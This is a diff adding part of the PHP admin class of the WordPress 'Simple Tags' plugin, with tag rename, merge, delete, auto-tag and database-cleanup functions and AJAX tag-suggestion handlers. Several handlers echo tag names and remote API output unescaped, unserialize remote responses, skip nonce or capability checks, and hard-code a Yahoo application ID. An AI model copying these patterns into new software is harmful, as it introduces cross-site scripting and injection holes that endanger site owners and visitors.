+						jQuery(document).ready(function() {
+							<?php
+							while ( have_posts() ) { the_post(); ?>
+								if ( document.getElementById('tags-input<?php the_ID(); ?>') ) {
+									var tag_<?php the_ID(); ?> = new BComplete('tags-input<?php the_ID(); ?>');
+									tag_<?php the_ID(); ?>.setData(collection);
+								}
+							<?php } ?>
+						});
+						// ]]>
+					</script>
+				<?php endif; ?>
+				
+			<?php else: ?>
+			
+				<p><?php _e('No content to edit.', 'simpletags'); ?>
+				
+			<?php endif; ?>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<?php $this->printAdminFooter(); ?>
+		</div>
+    <?php
+	}
+	
+	function getTagsToEdit( $post_id ) {
+		$post_id = (int) $post_id;
+		if ( !$post_id )
+			return false;
+	
+		$tags = wp_get_post_tags($post_id);
+	
+		if ( !$tags )
+			return false;
+	
+		foreach ( $tags as $tag )
+			$tag_names[] = $tag->name;
+		$tags_to_edit = join( ', ', $tag_names );
+		$tags_to_edit = attribute_escape( $tags_to_edit );
+		$tags_to_edit = apply_filters( 'tags_to_edit', $tags_to_edit );
+		
+		return $tags_to_edit;
+	}
+	
+	function saveAdvancedTagsInput( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+		
+		if ( isset($_POST['adv-tags-input']) ) {
+			// Post data
+			$tags = stripslashes($_POST['adv-tags-input']);
+			
+			// Trim data
+			$tags = trim(stripslashes($tags));
+
+			// String to array
+			$tags = explode( ',', $tags );
+
+			// Remove empty and trim tag
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+
+			// Add new tag (no append ! replace !)
+			wp_set_object_terms( $post_id, $tags, 'post_tag' );
+			
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Save embedded tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 */
+	function saveEmbedTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+
+		// Return Tags	
+		$matches = $tags = array();
+		preg_match_all('/(' . $this->regexEscape($this->options['start_embed_tags']) . '(.*?)' . $this->regexEscape($this->options['end_embed_tags']) . ')/is', $object->post_content, $matches);
+
+		foreach ( $matches[2] as $match) {
+			foreach( (array) explode(',', $match) as $tag) {
+				$tags[] = $tag;
+			}
+		}
+
+		if( !empty($tags) ) {
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			wp_set_post_tags( $post_id, $tags, true ); // Append tags
+
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Check post/page content for auto tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 * @return boolean
+	 */
+	function saveAutoTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+		
+		$result = $this->autoTagsPost( $object );
+		if ( $result == true ) {
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+		}
+		return true;
+	}
+	
+	/**
+	 * Automatically tag a post/page from the database tags
+	 *
+	 * @param object $object
+	 * @return boolean
+	 */
+	function autoTagsPost( $object ) {	
+		if ( get_the_tags($object->ID) != false && $this->options['at_empty'] == 1 ) {
+			return false; // Skip post with tags, if tag only empty post option is checked
+		}
+				
+		$tags_to_add = array();
+
+		// Merge title + content + excerpt to compare with tags
+		$content = $object->post_content. ' ' . $object->post_title. ' ' . $object->post_excerpt;
+		$content = trim($content);
+		if ( empty($content) ) {
+			return false;
+		}
+		
+		// Auto tag with specifik auto tags list
+		$tags = (array) maybe_unserialize($this->options['auto_list']);
+		foreach ( $tags as $tag ) {
+			if ( is_string($tag) && !empty($tag) && stristr($content, $tag) ) {
+				$tags_to_add[] = $tag;
+			}
+		}
+		unset($tags, $tag);
+		
+		// Auto tags with all posts
+		if ( $this->options['at_all'] == 1 ) { 
+			// Get all terms
+			global $wpdb;
+			$terms = $wpdb->get_col("
+				SELECT DISTINCT name
+				FROM {$wpdb->terms} AS t
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+				WHERE tt.taxonomy = 'post_tag'	
+			");
+			$terms = array_unique($terms);
+			
+			foreach ( $terms as $term ) {
+				$term = stripslashes($term);
+				if ( is_string($term) && !empty($term) && stristr($content, $term) ) {
+					$tags_to_add[] = $term;
+				}
+			}
+			
+			// Clean memory
+			$terms = array();
+			unset($terms, $term);
+		}
+		
+		// Append tags if tags to add
+		if ( !empty($tags_to_add) ) {
+			// Remove empty and duplicate elements
+			$tags_to_add = array_filter($tags_to_add, array(&$this, 'deleteEmptyElement'));
+			$tags_to_add = array_unique($tags_to_add);
+			
+			// Increment counter
+			$counter = ((int) get_option('tmp_auto_tags_st')) + count($tags_to_add);
+			update_option('tmp_auto_tags_st', $counter);
+			
+			// Add tags to posts
+			wp_set_object_terms( $object->ID, $tags_to_add, 'post_tag', true );
+			
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($object->ID);
+			} else {
+				clean_post_cache($object->ID);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	############## Helper Advanced Tags ##############
+	function helperAdvancedTags_Page() {
+		if ( $this->options['use_autocompletion'] == 1 )
+			add_meta_box('adv-tagsdiv', __('Tags (Simple Tags)', 'simpletags'), array(&$this, 'boxTags'), 'page', 'side', 'core');
+	}
+	
+	function helperAdvancedTags_Post() {
+		if ( $this->options['use_autocompletion'] == 1 )
+			add_meta_box('adv-tagsdiv', __('Tags (Simple Tags)', 'simpletags'), array(&$this, 'boxTags'), 'post', 'side', 'core');
+	}
+	
+	function boxTags( $post ) {
+		?>
+		<input type="text" name="adv-tags-input" id="adv-tags-input" size="40" tabindex="3" value="<?php echo $this->getTagsToEdit( $post->ID ); ?>" />
+		<?php
+		_e('Separate tags with commas', 'simpletags');
+	}
+
+	############## Manages Tags Pages ##############
+	/*
+	 * Rename or merge tags
+	 *
+	 * @param string $old
+	 * @param string $new
+	 */
+	function renameTags( $old = '', $new = '' ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// String to array
+		$old_tags = explode(',', $old);
+		$new_tags = explode(',', $new);
+
+		// Remove empty element and trim
+		$old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		// If old/new tag are empty => exit !
+		if ( empty($old_tags) || empty($new_tags) ) {
+			$this->message = __('No new/old valid tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$counter = 0;
+		if( count($old_tags) == count($new_tags) ) { // Rename only
+			foreach ( (array) $old_tags as $i => $old_tag ) {
+				$new_name = $new_tags[$i];
+
+				// Get term by name
+				$term = get_term_by('name', $old_tag, 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Get objects from term ID
+				$objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+				// Delete old term
+				wp_delete_term( $term->term_id, 'post_tag' );
+				
+				// Set objects to new term ! (Append no replace)
+				foreach ( (array) $objects_id as $object_id ) {
+					wp_set_object_terms( $object_id, $new_name, 'post_tag', true );
+				}
+				
+				// Clean cache
+				clean_object_term_cache( $objects_id, 'post_tag');	
+				clean_term_cache($term->term_id, 'post_tag');
+
+				// Increment
+				$counter++;
+			}
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag renamed.', 'simpletags');
+			} else {
+				$this->message = sprintf(__('Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;', 'simpletags'), $old, $new);
+			}
+		}
+		elseif ( count($new_tags) == 1  ) { // Merge
+			// Set new tag
+			$new_tag = $new_tags[0];
+			if ( empty($new_tag) ) {
+				$this->message = __('No valid new tag.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Get terms ID from old terms names
+			$terms_id = array();
+			foreach ( (array) $old_tags as $old_tag ) {
+				$term = get_term_by('name', addslashes($old_tag), 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get objects from terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+			// No objects ? exit !
+			if ( !$objects_id ) {
+				$this->message = __('No objects (post/page) found for specified old tags.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Delete old terms
+			foreach ( (array) $terms_id as $term_id ) {
+				wp_delete_term( $term_id, 'post_tag' );
+			}
+
+			// Set objects to new term ! (Append no replace)
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tag, 'post_tag', true );
+				$counter++;
+			}
+
+			// Test if term is also a category
+			if ( is_term($new_tag, 'category') ) {
+				// Edit the slug to use the new term
+				$this->editTagSlug( $new_tag, sanitize_title($new_tag) );
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');	
+			clean_term_cache($terms_id, 'post_tag');
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag merged.', 'simpletags');
+			} else {
+				$this->message = sprintf(__('Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited.', 'simpletags'), $old, $new, $counter);
+			}
+		} else { // Error
+			$this->message = sprintf(__('Error. No enough tags for rename. Too for merge. Choose !', 'simpletags'), $old);
+			$this->status = 'error';
+		}
+		return;
+	}
+
+	/**
+	 * trim and remove empty element
+	 *
+	 * @param string $element
+	 * @return string
+	 */
+	function deleteEmptyElement( &$element ) {
+		$element = stripslashes($element);
+		$element = trim($element);
+		if ( !empty($element) ) {
+			return $element;
+		}
+	}
+
+	/**
+	 * Delete list of tags
+	 *
+	 * @param string $delete
+	 */
+	function deleteTagsByTagList( $delete ) {
+		if ( trim( str_replace(',', '', stripslashes($delete)) ) == '' ) {
+			$this->message = __('No tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// In array + filter
+		$delete_tags = explode(',', $delete);
+		$delete_tags = array_filter($delete_tags, array(&$this, 'deleteEmptyElement'));
+		
+		// Delete tags
+		$counter = 0;
+		foreach ( (array) $delete_tags as $tag ) {
+			$term = get_term_by('name', $tag, 'post_tag');
+			$term_id = (int) $term->term_id;
+
+			if ( $term_id != 0 ) {				
+				wp_delete_term( $term_id, 'post_tag');
+				clean_term_cache( $term_id, 'post_tag');
+				$counter++;
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag deleted.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('%1s tag(s) deleted.', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Add tags for all or specified posts
+	 *
+	 * @param string $match
+	 * @param string $new
+	 */
+	function addMatchTags( $match, $new ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$match_tags = explode(',', $match);
+		$new_tags = explode(',', $new);
+
+		$match_tags = array_filter($match_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		$counter = 0;
+		if ( !empty($match_tags) ) { // Match and add
+			// Get terms ID from old match names
+			$terms_id = array();
+			foreach ( (array) $match_tags as $match_tag ) {
+				$term = get_term_by('name', $match_tag, 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get object ID with terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id') );
+
+			// Add new tags for specified post
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tags, 'post_tag', true ); // Append tags				
+				$counter++;
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');	
+			clean_term_cache($terms_id, 'post_tag');
+		} else { // Add for all posts
+			// Page or not ?
+			$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+			// Get all posts ID
+			global $wpdb;
+			$objects_id = $wpdb->get_col("SELECT ID FROM {$wpdb->posts} WHERE {$post_type_sql}");
+
+			// Add new tags for all posts
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tags, 'post_tag', true ); // Append tags
+				$counter++;
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');		
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag added.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('Tag(s) added to %1s post(s).', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Edit one or lots tags slugs
+	 *
+	 * @param string $names
+	 * @param string $slugs
+	 */
+	function editTagSlug( $names = '', $slugs = '') {
+		if ( trim( str_replace(',', '', stripslashes($slugs)) ) == '' ) {
+			$this->message = __('No new slug(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$match_names = explode(',', $names);
+		$new_slugs = explode(',', $slugs);
+
+		$match_names = array_filter($match_names, array(&$this, 'deleteEmptyElement'));
+		$new_slugs = array_filter($new_slugs, array(&$this, 'deleteEmptyElement'));
+
+		if ( count($match_names) != count($new_slugs) ) {
+			$this->message = __('Tags number and slugs number isn\'t the same!', 'simpletags');
+			$this->status = 'error';
+			return;
+		} else {
+			$counter = 0;
+			foreach ( (array) $match_names as $i => $match_name ) {
+				// Sanitize slug + Escape
+				$new_slug = sanitize_title($new_slugs[$i]);
+
+				// Get term by name
+				$term = get_term_by('name', $match_name, 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Increment
+				$counter++;
+
+				// Update term
+				wp_update_term($term->term_id, 'post_tag', array('slug' => $new_slug));
+				
+				// Clean cache
+				clean_term_cache($term->term_id, 'post_tag');
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No slug edited.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('%s slug(s) edited.', 'simpletags'), $counter);
+		}
+		return;
+	}
+
+	/**
+	 * Clean database - Remove empty terms
+	 *
+	 */
+	function cleanDatabase() {
+		global $wpdb;
+
+		// Counter
+		$counter = 0;
+
+		// Get terms id empty
+		$terms_id = $wpdb->get_col("SELECT term_id FROM {$wpdb->terms} WHERE name IN ('', ' ', '  ', '&nbsp;') GROUP BY term_id");
+		if ( empty($terms_id) ) {
+			$this->message = __('Nothing to muck. Good job !', 'simpletags');
+			return;
+		}
+		
+		// Prepare terms SQL List
+		$terms_list = "'" . implode("', '", $terms_id) . "'";
+
+		// Remove term empty
+		$counter += $wpdb->query("DELETE FROM {$wpdb->terms} WHERE term_id IN ( {$terms_list} )");
+
+		// Get term_taxonomy_id from term_id on term_taxonomy table
+		$tts_id = $wpdb->get_col("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} ) GROUP BY term_taxonomy_id");
+
+		if ( !empty($tts_id) ) {
+			// Clean term_taxonomy table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} )");
+
+			// Prepare terms SQL List
+			$tts_list = "'" . implode("', '", $tts_id) . "'";
+
+			// Clean term_relationships table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN ( {$tts_list} )");
+		}
+		
+		// Delete cache
+		clean_term_cache($terms_id, array('category', 'post_tag'));
+		clean_object_term_cache($tts_list, 'post');		
+
+		$this->message = sprintf(__('%s rows deleted. WordPress DB is clean now !', 'simpletags'), $counter);
+		return;
+	}
+
+	/**
+	 * Click tags
+	 *
+	 */
+	function helperClickTags_Page() {
+		if ( $this->options['use_click_tags'] == 1 )
+			add_meta_box('st-clicks-tags', __('Click tags', 'simpletags'), array(&$this, 'boxClickTags'), 'page', 'advanced', 'core');
+	}
+	
+	function helperClickTags_Post() {
+		if ( $this->options['use_click_tags'] == 1 )
+			add_meta_box('st-clicks-tags', __('Click tags', 'simpletags'), array(&$this, 'boxClickTags'), 'post', 'advanced', 'core');
+	}
+	
+	function boxClickTags() {
+		_e('This feature works only with activated JavaScript. Activate it in your Web browser so you can!', 'simpletags');
+	}
+
+	/**
+	 * Suggested tags
+	 *
+	 */
+	function getSuggestTagsTitle() {
+		$title = '<img style="float:right; display:none;" id="st_ajax_loading" src="'.$this->info['install_url'].'/inc/images/ajax-loader.gif" alt="' .__('Ajax loading', 'simpletags').'" />';
+		$title .=  __('Suggested tags from :', 'simpletags').'&nbsp;&nbsp;';
+		$title .= '<a class="local_db" href="#suggestedtags">'.__('Local tags', 'simpletags').'</a>&nbsp;&nbsp;-&nbsp;&nbsp;';
+		$title .= '<a class="yahoo_api" href="#suggestedtags">'.__('Yahoo', 'simpletags').'</a>&nbsp;&nbsp;-&nbsp;&nbsp;';
+		$title .= '<a class="ttn_api" href="#suggestedtags">'.__('Tag The Net', 'simpletags').'</a>';
+		return $title;
+	}
+	
+	function helperSuggestTags_Post() {
+		if ( $this->options['use_suggested_tags'] == 1 )
+			add_meta_box('suggestedtags', __('Suggested tags', 'simpletags'), array(&$this, 'boxSuggestTags'), 'post', 'advanced', 'core');
+	}
+	
+	function helperSuggestTags_Page() {
+		if ( $this->options['use_suggested_tags'] == 1 )
+			add_meta_box('suggestedtags', __('Suggested tags', 'simpletags'), array(&$this, 'boxSuggestTags'), 'page', 'advanced', 'core');
+	}
+	
+	function boxSuggestTags() {
+		?>
+		<span class="container_clicktags">
+			<?php _e('This feature works only with activated JavaScript. Activate it in your Web browser so you can!', 'simpletags'); ?>
+			<div class="clear"></div>
+		</span>
+	    <?php
+	}
+
+
+	/**
+	 * Control POST data for mass edit tags
+	 *
+	 * @param string $type
+	 */
+	function checkFormMassEdit() {
+		if ( !current_user_can('simple_tags') ) {
+			return false;
+		}
+		
+		// Get GET data
+		$type = stripslashes($_GET['post_type']);
+		
+		if ( isset($_POST['update_mass']) ) {
+			// origination and intention
+			if ( ! ( wp_verify_nonce($_POST['secure_mass'], 'st_mass_tags') ) ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+				return false;
+			}
+
+			if ( isset($_POST['tags']) ) {
+				$counter = 0;
+				foreach ( (array) $_POST['tags'] as $object_id => $tag_list ) {
+					// Trim data
+					$tag_list = trim(stripslashes($tag_list));
+
+					// String to array
+					$tags = explode( ',', $tag_list );
+
+					// Remove empty and trim tag
+					$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+
+					// Add new tag (no append ! replace !)
+					wp_set_object_terms( $object_id, $tags, 'post_tag' );
+					$counter++;
+					
+					// Clean cache
+					if ( 'page' == $type ) {
+						clean_page_cache($object_id);
+					} else {
+						clean_post_cache($object_id);
+					}
+				}
+				
+				if ( $type == 'page' ) {
+					$this->message = sprintf(__('%s page(s) tags updated with success !', 'simpletags'), (int) $counter);
+				} else {
+					$this->message = sprintf(__('%s post(s) tags updated with success !', 'simpletags'), (int) $counter);
+				}
+				return true;
+			}
+		}
+		return false;
+	}
+
+	############## WP Options ##############
+	/**
+	 * Update an option value  -- note that this will NOT save the options.
+	 *
+	 * @param string $optname
+	 * @param string $optval
+	 */
+	function setOption($optname, $optval) {
+		$this->options[$optname] = $optval;
+	}
+
+	/**
+	 * Save all current options
+	 *
+	 */
+	function saveOptions() {
+		update_option($this->db_options, $this->options);
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+	}
+
+	############## Ajax ##############
+	/**
+	 * Ajax Dispatcher
+	 *
+	 */
+	function ajaxCheck() {
+		if ( $_GET['st_ajax_action'] == 'get_tags' ) {
+			$this->ajaxListTags();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_yahoo' ) {
+			$this->ajaxYahooTermExtraction();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_tagthenet' ) {
+			$this->ajaxTagTheNet();
+		} elseif ( $_GET['st_ajax_action'] == 'helper_js_collection' ) {
+			$this->ajaxLocalTags( 'js_collection' );
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_local_db' ) {
+			$this->ajaxSuggestLocal();
+		} elseif ( $_GET['st_ajax_action'] == 'click_tags' ) {
+			$this->ajaxLocalTags( 'html_span' );
+		}
+	}
+	
+	/**
+	 * Get tags list for manage tags page.
+	 *
+	 */
+	function ajaxListTags() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		// Build param for tags
+		$sort_order = attribute_escape(stripslashes($_GET['order']));
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+		// Build pagination
+		$current_page = (int) $_GET['pagination'];
+		$param .= '&number=LIMIT '. $current_page * $this->nb_tags . ', '.$this->nb_tags;
+		
+		// Get tags
+		global $simple_tags;
+		$tags = $simple_tags->getTags($param, true, 'post_tag', true);
+
+		// Build output
+		echo '<ul class="ajax_list">';
+		foreach( (array) $tags as $tag ) {
+			echo '<li><span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+		}
+		unset($tags);
+		echo '</ul>';
+
+		// Build pagination
+		$ajax_url = $this->info['siteurl']. '/wp-admin/admin.php?st_ajax_action=get_tags';
+
+		// Order
+		if ( isset($_GET['order']) ) {
+			$ajax_url = $ajax_url . '&amp;order='.$sort_order ;
+		}
+		?>
+		<div class="navigation">
+			<?php if ( ($current_page * $this->nb_tags)  + $this->nb_tags > ((int) wp_count_terms('post_tag', 'ignore_empty=true')) ) : ?>
+				<?php _e('Previous tags', 'simpletags'); ?>
+			<?php else : ?>
+				<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page + 1); ?>"><?php _e('Previous tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+			|
+			<?php if ( $current_page == 0 ) : ?>
+				<?php _e('Next tags', 'simpletags'); ?>
+			<?php else : ?>
+			<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page - 1) ?>"><?php _e('Next tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+		</div>
+		<?php
+		exit();
+	}
+
+	/**
+	 * Suggest tags from Yahoo Term Extraction
+	 *
+	 */
+	function ajaxYahooTermExtraction() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			echo '<p>'.__('No text was sent.', 'simpletags').'</p>';
+			exit();
+		}
+
+		// Application entrypoint -> http://code.google.com/p/simple-tags/
+		// Yahoo ID : h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--
+		$yahoo_id = 'h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--';
+
+		// Build params
+		$param = 'appid='.$yahoo_id; // Yahoo ID
+		$param .= '&context='.urlencode($content); // Post content
+		if ( !empty($_POST['tags']) ) {
+			$param .= '&query='.urlencode(stripslashes($_POST['tags'])); // Existing tags
+		}
+		$param .= '&output=php'; // Get PHP Array !
+
+		$data = array();	
+		$reponse = wp_remote_post( 'http://search.yahooapis.com/ContentAnalysisService/V1/termExtraction?'.$param );
+		if( !is_wp_error($reponse) && $reponse != null ) {
+			$code = wp_remote_retrieve_response_code($reponse);
+			if ( $code == 200 ) {			
+				$data = maybe_unserialize( wp_remote_retrieve_body($reponse) );
+			}
+		}		
+		
+		if ( empty($data) || empty($data['ResultSet']) || is_wp_error($data) ) {
+			echo '<p>'.__('No results from Yahoo! service.', 'simpletags').'</p>';
+			exit();
+		}
+		
+		// Get result value
+		$data = (array) $data['ResultSet']['Result'];
+		
+		// Remove empty terms
+		$data = array_filter($data, array(&$this, 'deleteEmptyElement'));
+		$data = array_unique($data);
+
+		foreach ( (array) $data as $term ) {
+			echo '<span class="yahoo">'.$term.'</span>'."\n";
+		}
+		echo '<div class="clear"></div>';
+		exit();
+	}
+
+	/**
+	 * Suggest tags from Tag The Net
+	 *
+	 */
+	function ajaxTagTheNet() {
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			echo '<p>'.__('No text was sent.', 'simpletags').'</p>';
+			exit();
+		}
+		
+		$data = '';
+		$reponse = wp_remote_post( 'http://tagthe.net/api/?text='.urlencode($content).'&view=json&count=200' );
+		if( !is_wp_error($reponse) ) {
+			$code = wp_remote_retrieve_response_code($reponse);
+			if ( $code == 200 ) {			
+				$data = maybe_unserialize( wp_remote_retrieve_body($reponse) );
+			}
+		}
+		
+		require_once( dirname(__FILE__) . '/class/JSON.php' );
+		$data = json_decode($data);		
+		$data = $data->memes[0];
+		$data = $data->dimensions;
+		
+		if ( !isset($data->topic) && !isset($data->location) && !isset($data->person) ) {
+			echo '<p>'.__('No results from Tag The Net service.', 'simpletags').'</p>';
+			exit();
+		}
+		
+		$terms = array();
+		// Get all topics
+		foreach ( (array) $data->topic as $topic ) {
+			$terms[] = '<span class="ttn_topic">'.$topic.'</span>';
+		}
+
+		// Get all locations
+		foreach ( (array) $data->location as $location ) {
+			$terms[] = '<span class="ttn_location">'.$location.'</span>';
+		}
+
+		// Get all persons
+		foreach ( (array) $data->person as $person ) {
+			$terms[] = '<span class="ttn_person">'.$person.'</span>';
+		}
+		
+		// Remove empty terms
+		$terms = array_filter($terms, array(&$this, 'deleteEmptyElement'));
+		$terms = array_unique($terms);
+
+		echo implode("\n", $terms);
+		echo '<div class="clear"></div>';
+		exit();
+	}
+
+	/**
+	 * Suggest tags from local database
+	 *
+	 */
+	function ajaxSuggestLocal() {	
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) == 0) { // No tags to suggest
+			echo '<p>'.__('No tags in your WordPress database.', 'simpletags').'</p>';
+			exit();
+		}
+				
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		
+		if ( empty($content) ) {
+			echo '<p>'.__('No text was sent.', 'simpletags').'</p>';
+			exit();
+		}
+
+		// Get all terms
+		global $wpdb;
+		$terms = $this->getAllTerms();
+		
+		if ( empty($terms) || $terms == false ) {
+			echo '<p>'.__('No results from your WordPress database.', 'simpletags').'</p>';
+			exit();
+		}
+		
+		$terms = array_unique($terms);
+		foreach ( (array) $terms as $term ) {
+			$term = stripslashes($term);
+			if ( is_string($term) && !empty($term) && stristr($content, $term) ) {
+				echo '<span class="local">'.$term.'</span>'."\n";
+			}
+		}
+
+		echo '<div class="clear"></div>';
+		exit();
+	}
+	
+	/**
+	 * Display a span list for click tags or a javascript collection for autocompletion script !
+	 *
+	 * @param string $format
+	 */
+	function ajaxLocalTags( $format = 'html_span' ) {
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		if ((int) wp_count_terms('post_tag', 'ignore_empty=true') == 0 ) { // No tags to suggest
+			if ( $format == 'html_span' ) {
+				echo '<p>'.__('No tags in your WordPress database.', 'simpletags').'</p>';
+			} else {
+				echo 'collection = [ ];';
+			}
+			exit();
+		}
+		
+		// Get all terms
+		$terms = $this->getAllTerms();
+		if ( empty($terms) || $terms == false ) {
+			if ( $format == 'html_span' ) {
+				echo '<p>'.__('No results from your WordPress database.', 'simpletags').'</p>';
+			} else {
+				echo 'collection = [ ];';
+			}
+			exit();
+		}
+		
+		// Remove duplicate
+		$terms = array_unique($terms);
+
+		switch ($format) {
+			case 'html_span' :
+			
+				foreach ( (array) $terms as $term ) {	
+					$term = stripslashes($term);				
+					echo '<span class="local">'.$term.'</span>'."\n";
+				}
+				echo '<div class="clear"></div>';
+				break;
+				
+			case 'js_collection' :
+			default:
+			
+				echo 'collection = [';
+				$flag = false;
+				foreach ( (array) $terms as $term ) {	
+					
+					// Clean up tags	
+					$term = stripslashes($term);
+					$term = str_replace( "\r\n", '', $term );
+					$term = str_replace( "\r", '', $term );
+					$term = str_replace( "\n", '', $term );
+					
+					if ( $flag === false) {
+						echo '"'.str_replace('"', '\"', $term).'"';
+						$flag = true;
+					} else {
+						echo ', "'.str_replace('"', '\"', $term).'"';
+					}
+				}
+				echo '];';
+				break;
+				
+		}
+		
+		exit();
+	}
+	
+	function getAllTerms() {
+		global $wpdb;
+		return $wpdb->get_col("
